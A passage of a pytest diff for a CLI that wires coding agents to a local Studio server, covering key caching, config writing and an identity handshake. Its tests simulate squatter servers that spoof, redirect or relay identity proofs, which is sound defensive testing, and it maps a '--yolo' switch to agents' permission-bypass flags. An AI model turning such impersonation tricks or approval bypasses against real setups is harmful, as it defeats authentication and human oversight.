+def test_connect_replays_saved_key_without_identity_check(fake_studio, tmp_path, monkeypatch):
+    # A "saved" key (e.g. for an SSH-tunnelled Studio the handshake can't match)
+    # replays on keyless runs without the handshake, scoped to its own base.
+    cache = tmp_path / "agent_api_key.json"
+    cache.write_text(json.dumps({"servers": {BASE: {"saved": ["sk-unsloth-deadbeefdeadbeef"]}}}))
+    monkeypatch.setattr(start, "verify_studio_identity", lambda base: False)
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef")
+    assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio)  # reused, not minted
+
+
+def test_connect_minted_cache_requires_identity_check(fake_studio, tmp_path, monkeypatch):
+    # A "minted" key is NOT replayed to an unverified loopback server: minting and
+    # minted-key replay both sit behind the handshake, so a squatter can't grab it.
+    cache = tmp_path / "agent_api_key.json"
+    cache.write_text(json.dumps({"servers": {BASE: {"minted": ["sk-unsloth-feedfacefeedface"]}}}))
+    monkeypatch.setattr(start, "verify_studio_identity", lambda base: False)
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 1
+    assert "--api-key" in result.output
+    assert not any(c[1].endswith("/v1/models") for c in fake_studio)  # minted key never sent
+
+
+def test_connect_explicit_key_skips_identity_check(fake_studio, monkeypatch):
+    # An explicit key is the user's deliberate choice, so it does not require
+    # the automatic identity handshake.
+    monkeypatch.setattr(start, "verify_studio_identity", lambda base: False)
+    result = CliRunner().invoke(
+        start.start_app,
+        ["claude", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"],
+    )
+    assert result.exit_code == 0, result.output
+    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef")
+
+
+def _serve_identity(proof_for):
+    """Start a localhost HTTP server answering /api/auth/identity with
+    proof_for(nonce_bytes). Returns (base_url, shutdown)."""
+    import base64
+    import threading
+    from http.server import BaseHTTPRequestHandler, HTTPServer
+    from urllib.parse import parse_qs, urlparse
+
+    class Handler(BaseHTTPRequestHandler):
+        def do_GET(self):
+            parsed = urlparse(self.path)
+            if parsed.path != "/api/auth/identity":
+                self.send_response(404)
+                self.end_headers()
+                return
+            nonce = base64.urlsafe_b64decode(parse_qs(parsed.query)["nonce"][0])
+            host, port = self.server.server_address[0], self.server.server_address[1]
+            body = json.dumps({"proof": proof_for(nonce, host, port)}).encode()
+            self.send_response(200)
+            self.send_header("Content-Type", "application/json")
+            self.end_headers()
+            self.wfile.write(body)
+
+        def log_message(self, *a):
+            pass
+
+    server = HTTPServer(("127.0.0.1", 0), Handler)
+    threading.Thread(target = server.serve_forever, daemon = True).start()
+    base = f"http://127.0.0.1:{server.server_address[1]}"
+    return base, server.shutdown
+
+
+def test_verify_studio_identity_end_to_end(tmp_path, monkeypatch):
+    # Real crypto end to end: verify_studio_identity reads the install secret from
+    # an isolated DB; a "good" server proves the same secret, a spoofing one can't.
+    import unsloth_cli._inference as inference
+
+    inference.ensure_studio_backend_path()
+    try:
+        from studio.backend.auth import storage
+    except Exception as exc:  # backend not importable here (e.g. missing deps)
+        pytest.skip(f"studio backend not importable: {exc}")
+
+    monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db")
+    monkeypatch.setattr(storage, "_identity_secret_cache", None)
+
+    good = lambda nonce, host, port: storage.compute_identity_proof(
+        nonce, host, port
+    )  # real secret
+    bad = lambda nonce, host, port: "00" * 32  # spoofer without the secret
+    base_ok, stop_ok = _serve_identity(good)
+    base_bad, stop_bad = _serve_identity(bad)
+    try:
+        assert inference.verify_studio_identity(base_ok) is True
+        assert inference.verify_studio_identity(base_bad) is False
+    finally:
+        stop_ok()
+        stop_bad()
+
+
+def _serve_redirect(target):
+    """Start a localhost server that 302-redirects every GET to target+path."""
+    import threading
+    from http.server import BaseHTTPRequestHandler, HTTPServer
+
+    class Handler(BaseHTTPRequestHandler):
+        def do_GET(self):
+            self.send_response(302)
+            self.send_header("Location", target + self.path)
+            self.end_headers()
+
+        def log_message(self, *a):
+            pass
+
+    server = HTTPServer(("127.0.0.1", 0), Handler)
+    threading.Thread(target = server.serve_forever, daemon = True).start()
+    base = f"http://127.0.0.1:{server.server_address[1]}"
+    return base, server.shutdown
+
+
+def test_verify_studio_identity_rejects_redirect(tmp_path, monkeypatch):
+    # A squatter could 302 /api/auth/identity to the real Studio and relay its
+    # proof; redirects must be refused so the squatter's base isn't accepted.
+    import unsloth_cli._inference as inference
+
+    inference.ensure_studio_backend_path()
+    try:
+        from studio.backend.auth import storage
+    except Exception as exc:
+        pytest.skip(f"studio backend not importable: {exc}")
+
+    monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db")
+    monkeypatch.setattr(storage, "_identity_secret_cache", None)
+
+    real_base, stop_real = _serve_identity(
+        lambda nonce, host, port: storage.compute_identity_proof(nonce, host, port)
+    )
+    squatter_base, stop_squatter = _serve_redirect(real_base)
+    try:
+        assert inference.verify_studio_identity(real_base) is True  # direct: ok
+        assert inference.verify_studio_identity(squatter_base) is False  # relayed: refused
+    finally:
+        stop_real()
+        stop_squatter()
+
+
+def test_verify_studio_identity_rejects_relayed_proof(tmp_path, monkeypatch):
+    # A squatter that proxies the nonce to the real Studio on another port gets a
+    # proof bound to *that* port; the client expects one bound to the port it
+    # connected to, so the relayed proof is rejected.
+    import unsloth_cli._inference as inference
+
+    inference.ensure_studio_backend_path()
+    try:
+        from studio.backend.auth import storage
+    except Exception as exc:
+        pytest.skip(f"studio backend not importable: {exc}")
+
+    monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db")
+    monkeypatch.setattr(storage, "_identity_secret_cache", None)
+
+    real_base, stop_real = _serve_identity(
+        lambda nonce, host, port: storage.compute_identity_proof(nonce, host, port)
+    )
+    real_port = int(real_base.rsplit(":", 1)[1])
+    # The squatter answers on its own port but returns the proof for the real port.
+    squatter_base, stop_squatter = _serve_identity(
+        lambda nonce, host, port: storage.compute_identity_proof(nonce, host, real_port)
+    )
+    try:
+        assert inference.verify_studio_identity(real_base) is True
+        assert inference.verify_studio_identity(squatter_base) is False
+    finally:
+        stop_real()
+        stop_squatter()
+
+
+@pytest.mark.parametrize(
+    "url, loopback",
+    [
+        ("http://127.0.0.1:8888", True),
+        ("http://localhost:8888", True),
+        ("http://[::1]:8888", True),
+        ("http://127.0.0.5:9001", True),  # SSH tunnels can land anywhere in 127/8
+        ("http://0.0.0.0:8888", False),
+        ("http://10.0.0.5:8888", False),
+        ("http://studio.evil.example:8888", False),
+        ("https://studio.example.com", False),
+    ],
+)
+def test_is_loopback_url(url, loopback):
+    assert start.is_loopback_url(url) is loopback
+
+
+def test_connect_no_studio_errors(fake_studio, monkeypatch):
+    monkeypatch.setattr(start, "find_studio_server", lambda: None)
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 1
+    assert "No running Studio server" in result.output
+
+
+@pytest.fixture(autouse = True)
+def _reset_auto_served():
+    # Never let a test leave a fake server in the module slot (an atexit backstop would
+    # otherwise try to signal it at interpreter shutdown).
+    yield
+    start._auto_served_server = None
+
+
+def test_start_studio_server_builds_command_and_waits(monkeypatch):
+    captured = {}
+
+    class FakePopen:
+        def __init__(self, command, **kwargs):
+            captured["command"] = command
+            captured["kwargs"] = kwargs
+            self.pid = 4321
+
+        def poll(self):
+            return None
+
+    monkeypatch.setattr(start.subprocess, "Popen", FakePopen)
+    monkeypatch.setattr(start, "_studio_healthy", lambda base, timeout = 3.0: True)
+    monkeypatch.setattr(start, "_log_tail", lambda path, lines = 20: "API Key: sk-unsloth-abc123")
+    monkeypatch.setattr(start.time, "sleep", lambda _s: None)
+
+    server = start._start_studio_server(
+        "http://127.0.0.1:8888",
+        "unsloth/Qwen3-1.7B-GGUF:UD-Q4_K_XL",
+        start.LoadOptions(
+            gguf_variant = "UD-Q4_K_XL", max_seq_length = 8192, load_in_4bit = True, tensor_parallel = True
+        ),
+    )
+    cmd = captured["command"]
+    assert cmd[1] == "run"
+    assert "--disable-tools" in cmd and "--no-cloudflare" in cmd
+    assert cmd[cmd.index("--model") + 1] == "unsloth/Qwen3-1.7B-GGUF:UD-Q4_K_XL"
+    assert cmd[cmd.index("--gguf-variant") + 1] == "UD-Q4_K_XL"
+    assert cmd[cmd.index("--context-length") + 1] == "8192"
+    assert "--tensor-parallel" in cmd
+    assert cmd[cmd.index("-p") + 1] == "8888"
+    assert start.LoadOptions().load_in_4bit is True and "--no-load-in-4bit" not in cmd
+    assert captured["kwargs"].get("start_new_session") is True  # own process group
+    assert server.pid == 4321
+
+
+def test_auto_serves_when_no_server_then_tears_down(fake_studio, monkeypatch):
+    monkeypatch.setattr(start, "find_studio_server", lambda: None)
+    started = {}
+    fake = SimpleNamespace(pid = 999, poll = lambda: None)
+
+    def fake_start(base, model, load):
+        started.update(base = base, model = model, load = load)
+        start._auto_served_server = fake
+        return fake
+
+    monkeypatch.setattr(start, "_start_studio_server", fake_start)
+    monkeypatch.setattr(
+        start, "_shutdown_server", lambda server: started.__setitem__("down", server)
+    )
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude")
+    monkeypatch.setattr(start.subprocess, "run", lambda command, env: SimpleNamespace(returncode = 0))
+
+    result = CliRunner().invoke(
+        start.start_app, ["claude", "--model", "unsloth/Qwen3-1.7B-GGUF:UD-Q4_K_XL"]
+    )
+    assert result.exit_code == 0, result.output
+    # The `:QUANT` suffix is split off into the gguf_variant so `unsloth run` gets a valid
+    # repo id plus `--gguf-variant`, mirroring how `unsloth run` accepts either form.
+    assert started["model"] == "unsloth/Qwen3-1.7B-GGUF"
+    assert started["load"].gguf_variant == "UD-Q4_K_XL"
+    assert started["base"] == BASE
+    # Torn down after the agent session ended.
+    assert started.get("down") is fake
+
+
+def test_codex_preflight_failure_tears_down_auto_served(fake_studio, monkeypatch):
+    # The Codex GGUF preflight runs after _connect may have auto-started a server but
+    # before _run's teardown finally, so a preflight rejection must not leave the server
+    # holding the port/GPU (waiting on the atexit backstop).
+    monkeypatch.setattr(start, "find_studio_server", lambda: None)
+    started = {}
+    fake = SimpleNamespace(pid = 999, poll = lambda: None)
+
+    def fake_start(base, model, load):
+        started.update(base = base, model = model)
+        start._auto_served_server = fake
+        return fake
+
+    monkeypatch.setattr(start, "_start_studio_server", fake_start)
+    monkeypatch.setattr(
+        start, "_shutdown_server", lambda server: started.__setitem__("down", server)
+    )
+    inner = start._http_json
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        if url.endswith("/api/inference/status"):
+            return {"is_gguf": False, "model_identifier": "transformers-model"}
+        return inner(method, url, token, payload, timeout, error)
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+    result = CliRunner().invoke(
+        start.start_app, ["codex", "--model", "unsloth/Qwen3-1.7B", "--launch"]
+    )
+    assert result.exit_code != 0, result.output
+    assert "GGUF" in result.output
+    # Torn down at the point the preflight rejected the model, not only via atexit.
+    assert started.get("down") is fake
+
+
+def test_no_serve_preserves_error(fake_studio, monkeypatch):
+    monkeypatch.setattr(start, "find_studio_server", lambda: None)
+    started = {"called": False}
+    monkeypatch.setattr(
+        start, "_start_studio_server", lambda *a, **k: started.__setitem__("called", True)
+    )
+    result = CliRunner().invoke(
+        start.start_app, ["claude", "--model", "unsloth/Qwen3-1.7B-GGUF", "--no-serve"]
+    )
+    assert result.exit_code == 1
+    assert "No running Studio server" in result.output
+    assert started["called"] is False
+
+
+def test_no_launch_never_serves(fake_studio, monkeypatch):
+    monkeypatch.setattr(start, "find_studio_server", lambda: None)
+    started = {"called": False}
+    monkeypatch.setattr(
+        start, "_start_studio_server", lambda *a, **k: started.__setitem__("called", True)
+    )
+    result = CliRunner().invoke(
+        start.start_app, ["claude", "--model", "unsloth/Qwen3-1.7B-GGUF", "--no-launch"]
+    )
+    assert result.exit_code == 1
+    assert "No running Studio server" in result.output
+    assert started["called"] is False
+
+
+def test_no_server_no_model_hints_model_flag(fake_studio, monkeypatch):
+    monkeypatch.setattr(start, "find_studio_server", lambda: None)
+    result = CliRunner().invoke(start.start_app, ["claude"])
+    assert result.exit_code == 1
+    assert "--model" in result.output
+
+
+@pytest.mark.parametrize(
+    "base, expected",
+    [
+        ("http://127.0.0.1", "http://127.0.0.1:8888"),  # portless -> unsloth run's :8888
+        ("http://127.0.0.1:8888", "http://127.0.0.1:8888"),  # explicit port kept
+        ("http://127.0.0.1:9000", "http://127.0.0.1:9000"),
+        ("http://localhost", "http://localhost:8888"),
+        ("http://[::1]", "http://[::1]:8888"),  # IPv6 literal stays bracketed
+        ("http://[::1]:8888", "http://[::1]:8888"),
+        # Paths are stripped: unsloth run serves at the root, so /studio would make the
+        # health poll hit /studio/api/health (404) until the startup timeout.
+        ("http://127.0.0.1:8888/studio", "http://127.0.0.1:8888"),
+        ("http://127.0.0.1/studio", "http://127.0.0.1:8888"),
+    ],
+)
+def test_effective_base(base, expected):
+    assert start._effective_base(base) == expected
+
+
+def test_auto_serve_normalizes_portless_url(fake_studio, monkeypatch):
+    # A portless UNSLOTH_STUDIO_URL must launch AND poll :8888 (what unsloth run binds),
+    # not port 80, or readiness never matches and we hit the startup timeout.
+    monkeypatch.setenv("UNSLOTH_STUDIO_URL", "http://127.0.0.1")
+    monkeypatch.setattr(start, "find_studio_server", lambda: None)
+    started = {}
+    fake = SimpleNamespace(pid = 999, poll = lambda: None)
+
+    def fake_start(base, model, load):
+        started["base"] = base
+        start._auto_served_server = fake
+        return fake
+
+    monkeypatch.setattr(start, "_start_studio_server", fake_start)
+    monkeypatch.setattr(start, "_shutdown_server", lambda server: None)
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude")
+    monkeypatch.setattr(start.subprocess, "run", lambda command, env: SimpleNamespace(returncode = 0))
+
+    result = CliRunner().invoke(start.start_app, ["claude", "--model", "unsloth/Qwen3-1.7B-GGUF"])
+    assert result.exit_code == 0, result.output
+    assert started["base"] == "http://127.0.0.1:8888"
+
+
+def test_connect_explicit_api_key_skips_mint(fake_studio):
+    result = CliRunner().invoke(
+        start.start_app,
+        ["claude", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"],
+    )
+    assert result.exit_code == 0, result.output
+    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef")
+    assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio)
+
+
+# ── OpenClaw (Anthropic /v1/messages) ────────────────────────────────
+
+
+def test_write_openclaw_config_fresh(tmp_path):
+    path = tmp_path / "openclaw.json"
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path)
+    config = json.loads(path.read_text())
+    provider = config["models"]["providers"]["unsloth"]
+    assert provider["baseUrl"] == f"{BASE}/v1"
+    assert provider["apiKey"] == "sk-unsloth-abc"
+    assert provider["api"] == "openai-completions"
+    assert provider["models"] == [
+        {"id": MODEL["id"], "name": MODEL["id"], "contextWindow": MODEL["context_length"]}
+    ]
+    # The default model must be pinned or OpenClaw has nothing active.
+    assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}"
+    assert config["gateway"]["mode"] == "local"
+    assert config["gateway"]["auth"]["mode"] == "none"  # unauth loopback gateway
+    if os.name != "nt":  # the file holds an API key
+        assert path.stat().st_mode & 0o777 == 0o600
+
+
+def test_write_openclaw_config_preserves_and_idempotent(tmp_path):
+    path = tmp_path / "openclaw.json"
+    path.write_text(
+        json.dumps(
+            {
+                "theme": "dark",
+                "agents": {"defaults": {"temperature": 0.5}},
+                "models": {"mode": "replace", "providers": {"openrouter": {"baseUrl": "x"}}},
+            }
+        )
+    )
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path)
+    config = json.loads(path.read_text())
+    assert config["theme"] == "dark"
+    assert config["agents"]["defaults"]["temperature"] == 0.5  # other agent defaults kept
+    assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}"
+    assert config["models"]["mode"] == "replace"  # user's mode is left as-is
+    assert config["models"]["providers"]["openrouter"]["baseUrl"] == "x"
+    assert config["models"]["providers"]["unsloth"]["baseUrl"] == f"{BASE}/v1"
+    before = path.read_text()
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path)
+    assert path.read_text() == before
+
+
+def test_write_openclaw_config_corrupt_left_alone(tmp_path, capsys):
+    path = tmp_path / "openclaw.json"
+    path.write_text("{not json")
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path)
+    assert path.read_text() == "{not json"
+    assert "couldn't parse" in capsys.readouterr().err
+
+
+def test_connect_openclaw_no_launch(fake_studio, tmp_path):
+    result = CliRunner().invoke(start.start_app, ["openclaw", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    assert "openclaw" in result.output
+    config_path = tmp_path / "agents" / "openclaw" / "openclaw.json"
+    # Config + state are scoped to the session dir, not the user's ~/.openclaw.
+    _assert_env_set(result.output, "OPENCLAW_CONFIG_PATH", str(config_path))
+    _assert_env_set(result.output, "OPENCLAW_STATE_DIR", str(tmp_path / "agents" / "openclaw"))
+    config = json.loads(config_path.read_text())
+    assert config["models"]["providers"]["unsloth"]["apiKey"] == "sk-unsloth-feedfacefeedface"
+    assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}"
+    # OpenAI /v1/chat/completions works on either backend — no GGUF gate.
+    assert not any(c[1].endswith("/api/inference/status") for c in fake_studio)
+
+
+# ── OpenCode (OpenAI /v1/chat/completions) ───────────────────────────
+
+
+def test_write_opencode_config_fresh(tmp_path):
+    path = tmp_path / "opencode.json"
+    start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path)
+    config = json.loads(path.read_text())
+    provider = config["provider"]["unsloth"]
+    assert provider["npm"] == "@ai-sdk/openai-compatible"
+    assert provider["options"] == {"baseURL": f"{BASE}/v1", "apiKey": "sk-unsloth-abc"}
+    # Context limit must be declared, or OpenCode treats it as 0 and disables compaction.
+    assert provider["models"] == {
+        MODEL["id"]: {"name": MODEL["id"], "limit": {"context": 131072, "output": 8192}}
+    }
+    assert config["model"] == f"unsloth/{MODEL['id']}"
+    # Compaction buffer scaled to ~10% of the window (compact near 90%).
+    assert config["compaction"] == {"auto": True, "reserved": 131072 // 10}
+
+
+def test_write_opencode_config_preserves_and_idempotent(tmp_path):
+    path = tmp_path / "opencode.json"
+    path.write_text(
+        json.dumps({"theme": "tokyonight", "provider": {"anthropic": {"name": "Anthropic"}}})
+    )
+    start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path)
+    config = json.loads(path.read_text())
+    assert config["theme"] == "tokyonight"
+    assert config["provider"]["anthropic"]["name"] == "Anthropic"
+    assert config["provider"]["unsloth"]["options"]["baseURL"] == f"{BASE}/v1"
+    before = path.read_text()
+    start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path)
+    assert path.read_text() == before
+
+
+def test_connect_opencode_no_launch(fake_studio, tmp_path):
+    result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    assert "opencode" in result.output
+    config_path = tmp_path / "agents" / "opencode" / "opencode.json"
+    # OPENCODE_CONFIG overlay points at the session file, not the user's global config.
+    _assert_env_set(result.output, "OPENCODE_CONFIG", str(config_path))
+    config = json.loads(config_path.read_text())
+    assert config["provider"]["unsloth"]["options"]["apiKey"] == "sk-unsloth-feedfacefeedface"
+    assert config["model"] == f"unsloth/{MODEL['id']}"
+    assert not any(c[1].endswith("/api/inference/status") for c in fake_studio)
+
+
+# ── Hermes (OpenAI /v1/chat/completions, key via env) ────────────────
+
+
+@pytest.fixture()
+def hermes_config(tmp_path):
+    return tmp_path / "config.yaml"
+
+
+def test_write_hermes_config_fresh(hermes_config):
+    yaml = pytest.importorskip("yaml")
+    start.write_hermes_config(BASE, MODEL, hermes_config)
+    config = yaml.safe_load(hermes_config.read_text())
+    # Hermes only honors the key for a *named* custom provider, so the endpoint
+    # is registered under providers.* and model.provider points at it.
+    assert config["model"]["provider"] == "custom:unsloth"
+    assert config["model"]["default"] == MODEL["id"]
+    assert config["model"]["api_mode"] == "openai"
+    # Pin the real context window (top-level override) and compact at 90% of it.
+    assert config["model"]["context_length"] == MODEL["context_length"]
+    assert config["compression"] == {"enabled": True, "threshold": 0.9}
+    # Windows at or above Hermes' floor need no auxiliary compression override.
+    assert "auxiliary" not in config
+    provider = config["providers"]["unsloth"]
+    assert provider["base_url"] == f"{BASE}/v1"
+    assert provider["api_mode"] == "openai"
+    assert provider["key_env"] == "UNSLOTH_API_KEY"
+    # The key is resolved from the launch env, never written to disk.
+    assert "sk-unsloth" not in hermes_config.read_text()
+
+
+def test_write_hermes_config_small_window_claims_floor(hermes_config):
+    yaml = pytest.importorskip("yaml")
+    small = {"id": "unsloth/Qwen3-1.7B-GGUF", "context_length": 40960}
+    start.write_hermes_config(BASE, small, hermes_config)
+    config = yaml.safe_load(hermes_config.read_text())
+    # Hermes refuses to initialize below its 64,000-token floor, so the recipe
+    # claims the floor and scales the compaction threshold so it still fires at
+    # 90% of the REAL window: 0.9 * 40960 / 65536.
+    assert config["model"]["context_length"] == 65536
+    assert config["compression"] == {"enabled": True, "threshold": 0.5625}
+    # The same floor check runs against the compression model mid-session.
+    assert config["auxiliary"]["compression"]["context_length"] == 65536
+
+
+def test_write_hermes_config_preserves_and_idempotent(hermes_config):
+    yaml = pytest.importorskip("yaml")
+    hermes_config.write_text(
+        yaml.safe_dump(
+            {
+                "terminal": {"backend": "local"},
+                "model": {"temperature": 0.7},
+                "providers": {"openrouter": {"base_url": "https://openrouter.ai/api/v1"}},
+            }
+        )
+    )
+    start.write_hermes_config(BASE, MODEL, hermes_config)
+    config = yaml.safe_load(hermes_config.read_text())
+    assert config["terminal"] == {"backend": "local"}  # unrelated sections kept
+    assert config["model"]["temperature"] == 0.7  # unrelated model keys kept
+    assert config["model"]["provider"] == "custom:unsloth"
+    assert config["providers"]["openrouter"]["base_url"] == "https://openrouter.ai/api/v1"
+    assert config["providers"]["unsloth"]["base_url"] == f"{BASE}/v1"
+    before = hermes_config.read_text()
+    start.write_hermes_config(BASE, MODEL, hermes_config)
+    assert hermes_config.read_text() == before
+
+
+def test_write_hermes_config_preserves_non_mapping_file(hermes_config, capsys):
+    pytest.importorskip("yaml")
+    original = "- just\n- a\n- list\n"  # valid YAML, but not a mapping
+    hermes_config.write_text(original)
+    start.write_hermes_config(BASE, MODEL, hermes_config)
+    assert hermes_config.read_text() == original  # user-managed file left untouched
+    assert "couldn't parse" in capsys.readouterr().err
+
+
+def test_connect_hermes_no_launch(fake_studio, tmp_path):
+    yaml = pytest.importorskip("yaml")
+    result = CliRunner().invoke(start.start_app, ["hermes", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    _assert_env_set(result.output, "UNSLOTH_API_KEY", "sk-unsloth-feedfacefeedface")
+    # HERMES_HOME relocates the whole hermes home, so the user's ~/.hermes is untouched.
+    home = tmp_path / "agents" / "hermes"
+    _assert_env_set(result.output, "HERMES_HOME", str(home))
+    assert "hermes" in result.output
+    config = yaml.safe_load((home / "config.yaml").read_text())
+    assert config["model"]["provider"] == "custom:unsloth"
+    assert config["providers"]["unsloth"]["base_url"] == f"{BASE}/v1"
+    assert config["model"]["default"] == MODEL["id"]
+    assert not any(c[1].endswith("/api/inference/status") for c in fake_studio)
+
+
+# ── Pi (OpenAI-compatible /v1, key in config, ~/.pi relocated via HOME) ──
+
+
+def test_write_pi_config_fresh(tmp_path):
+    path = tmp_path / ".pi" / "agent" / "models.json"
+    start.write_pi_config(BASE, "sk-unsloth-abc", MODEL, path)
+    config = json.loads(path.read_text())
+    provider = config["providers"]["unsloth"]
+    assert provider["api"] == "openai-completions"
+    assert provider["baseUrl"] == f"{BASE}/v1"
+    assert provider["apiKey"] == "sk-unsloth-abc"
+    # Pin the loaded window (and a sane output cap) so Pi compacts instead of
+    # overflowing; without it Pi assumes its 128000 default.
+    assert provider["models"] == [
+        {"id": MODEL["id"], "contextWindow": MODEL["context_length"], "maxTokens": 8192}
+    ]
+
+
+def test_write_pi_config_preserves_and_idempotent(tmp_path):
+    path = tmp_path / ".pi" / "agent" / "models.json"
+    path.parent.mkdir(parents = True)
+    path.write_text(json.dumps({"providers": {"google": {"api": "gemini"}}}))
+    start.write_pi_config(BASE, "sk-unsloth-abc", MODEL, path)
+    config = json.loads(path.read_text())
+    assert config["providers"]["google"] == {"api": "gemini"}  # unrelated provider kept
+    assert config["providers"]["unsloth"]["baseUrl"] == f"{BASE}/v1"
+    before = path.read_text()
+    start.write_pi_config(BASE, "sk-unsloth-abc", MODEL, path)
+    assert path.read_text() == before
+
+
+def test_connect_pi_no_launch(fake_studio, tmp_path):
+    result = CliRunner().invoke(start.start_app, ["pi", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    # Pi resolves its config dir from PI_CODING_AGENT_DIR first, so pin it at the session
+    # dir (and relocate HOME) to keep the user's real ~/.pi untouched and their own
+    # PI_CODING_AGENT_DIR from redirecting Pi away from our provider/key.
+    home = tmp_path / "agents" / "pi"
+    _assert_env_set(result.output, "HOME", str(home))
+    _assert_env_set(result.output, "PI_CODING_AGENT_DIR", str(home / ".pi" / "agent"))
+    # Provider/model pinned on the command (Pi defaults to google otherwise).
+    assert f"pi --provider unsloth --model {MODEL['id']}" in result.output
+    config = json.loads((home / ".pi" / "agent" / "models.json").read_text())
+    assert config["providers"]["unsloth"]["apiKey"] == "sk-unsloth-feedfacefeedface"
+    assert config["providers"]["unsloth"]["models"] == [
+        {"id": MODEL["id"], "contextWindow": MODEL["context_length"], "maxTokens": 8192}
+    ]
+    assert not any(c[1].endswith("/api/inference/status") for c in fake_studio)
+
+
+def test_connect_pi_no_launch_windows_relocates_userprofile(fake_studio, tmp_path, monkeypatch):
+    # On native Windows Node resolves ~/.pi via USERPROFILE, not HOME, so the session
+    # must point USERPROFILE at the relocated home or Pi reads the user's real ~/.pi.
+    monkeypatch.setattr(start.os, "name", "nt")
+    result = CliRunner().invoke(start.start_app, ["pi", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    home = tmp_path / "agents" / "pi"
+    assert f'$env:HOME = "{home}"' in result.output
+    assert f'$env:USERPROFILE = "{home}"' in result.output
+
+
+# ── WSLENV path translation + PowerShell quoting (helper units) ──
+
+
+def test_wsl_bridge_names_flags_paths_not_scalars():
+    # WSLENV only translates a var to a Windows path when its entry carries /p.
+    # Path-valued vars must get it; scalar knobs and URLs must not, or WSLENV would
+    # mangle them when handing off to a Windows shim under /mnt.
+    env = {
+        "CODEX_HOME": "/tmp/sess/codex",
+        "HOME": "/tmp/sess/pi",
+        "CLAUDE_CODE_AUTO_COMPACT_WINDOW": "4096",
+        "ANTHROPIC_BASE_URL": "http://127.0.0.1:8888",
+        "USERPROFILE": r"C:\Users\x",
+    }
+    names = start._wsl_bridge_names(env, ("ANTHROPIC_API_KEY",))
+    assert "CODEX_HOME/p" in names
+    assert "HOME/p" in names
+    assert "USERPROFILE/p" in names  # drive-qualified Windows path
+    assert "CLAUDE_CODE_AUTO_COMPACT_WINDOW" in names  # scalar: no /p
+    assert "CLAUDE_CODE_AUTO_COMPACT_WINDOW/p" not in names
+    assert "ANTHROPIC_BASE_URL" in names  # URL is not a filesystem path
+    assert "ANTHROPIC_API_KEY" in names  # cleared var carries no value to translate
+
+
+def test_merge_wslenv_dedups_on_base_name():
+    # An already-shared var must not be appended again just because the flag differs.
+    merged = start._merge_wslenv("CODEX_HOME/p:FOO", ("CODEX_HOME/p", "BAR/p"))
+    parts = merged.split(":")
+    assert parts.count("CODEX_HOME/p") == 1
+    assert "FOO" in parts and "BAR/p" in parts
+
+
+def test_merge_wslenv_upgrades_existing_unflagged_entry():
+    # A user's pre-existing bare "HOME" must be upgraded to "HOME/p" (not left bare or
+    # duplicated), or the Windows shim gets the path without WSL translation.
+    merged = start._merge_wslenv("HOME:FOO", ("HOME/p", "CODEX_HOME/p"))
+    parts = merged.split(":")
+    assert "HOME/p" in parts and "HOME" not in parts  # upgraded in place
+    assert parts.count("HOME/p") == 1
+    assert "FOO" in parts  # untouched user var preserved
+    assert "CODEX_HOME/p" in parts
+
+
+def test_powershell_quote_single_quotes_json():
+    # Bare flags/paths pass through; JSON payloads get single-quoted so PowerShell
+    # keeps the embedded double quotes literal (list2cmdline's backslashes would not).
+    assert start._powershell_quote("--settings") == "--settings"
+    assert start._powershell_quote("unsloth/gemma-4-26B") == "unsloth/gemma-4-26B"
+    quoted = start._powershell_quote(start._CLAUDE_SETTINGS_OVERLAY)
+    assert quoted == "'" + start._CLAUDE_SETTINGS_OVERLAY + "'"
+    assert "\\" not in quoted  # no cmd.exe backslash escaping
+    assert start._powershell_quote("a'b") == "'a''b'"  # embedded quote doubled
+
+
+# ── --yolo: one switch routed to each agent's own auto-approve form ──
+
+# The native "run tools without prompting" CLI flag each agent should receive.
+_NATIVE_YOLO = {
+    "claude": "--dangerously-skip-permissions",
+    "codex": "--dangerously-bypass-approvals-and-sandbox",
+    "hermes": "--yolo",
+    "pi": "--approve",
+}
+
+
+@pytest.mark.parametrize("agent, native", sorted(_NATIVE_YOLO.items()))
+def test_yolo_routes_to_native_flag(fake_studio, agent, native):
+    result = CliRunner().invoke(start.start_app, [agent, "--yolo", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    assert native in result.output
+
+
+@pytest.mark.parametrize("agent, native", sorted(_NATIVE_YOLO.items()))
+def test_no_yolo_omits_native_flag(fake_studio, agent, native):
+    result = CliRunner().invoke(start.start_app, [agent, "--no-launch"])
